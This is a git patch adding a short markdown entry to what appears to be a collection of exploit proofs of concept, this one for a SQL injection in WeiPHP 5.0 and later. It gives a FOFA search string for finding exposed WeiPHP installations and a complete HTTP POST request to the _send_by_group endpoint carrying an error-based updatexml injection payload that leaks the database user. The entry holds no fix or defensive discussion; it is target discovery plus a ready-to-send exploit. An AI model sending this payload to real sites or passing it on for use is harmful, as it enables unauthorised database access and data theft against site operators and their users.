From eb5dcd7767744e54085ec8eb9eec7e9bf4b489f0 Mon Sep 17 00:00:00 2001
From: wy876 <139549762+wy876@users.noreply.github.com>
Date: Thu, 7 Dec 2023 20:57:39 +0800
Subject: [PATCH] =?UTF-8?q?Create=20WeiPHP>=3D5.0=20SQL=E6=B3=A8=E5=85=A5?=
 =?UTF-8?q?=E6=BC=8F=E6=B4=9E.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 WeiPHP>=5.0 SQL注入漏洞.md | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)
 create mode 100644 WeiPHP>=5.0 SQL注入漏洞.md

diff --git a/WeiPHP>=5.0 SQL注入漏洞.md b/WeiPHP>=5.0 SQL注入漏洞.md
new file mode 100644
index 0000000..14f66b2
--- /dev/null
+++ b/WeiPHP>=5.0 SQL注入漏洞.md	
@@ -0,0 +1,18 @@
+
+## WeiPHP>=5.0 SQL注入漏洞
+
+## fofa
+```
+app="WeiPHP"
+```
+
+## poc
+```
+POST /public/index.php/weixin/message/_send_by_group HTTP/1.1
+Host: 
+Content-Type: application/x-www-form-urlencoded
+Accept-Encoding: gzip
+Connection: close
+ 
+group_id[0]=exp&group_id[1]=%29+and+updatexml%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%2C1%29+--
+```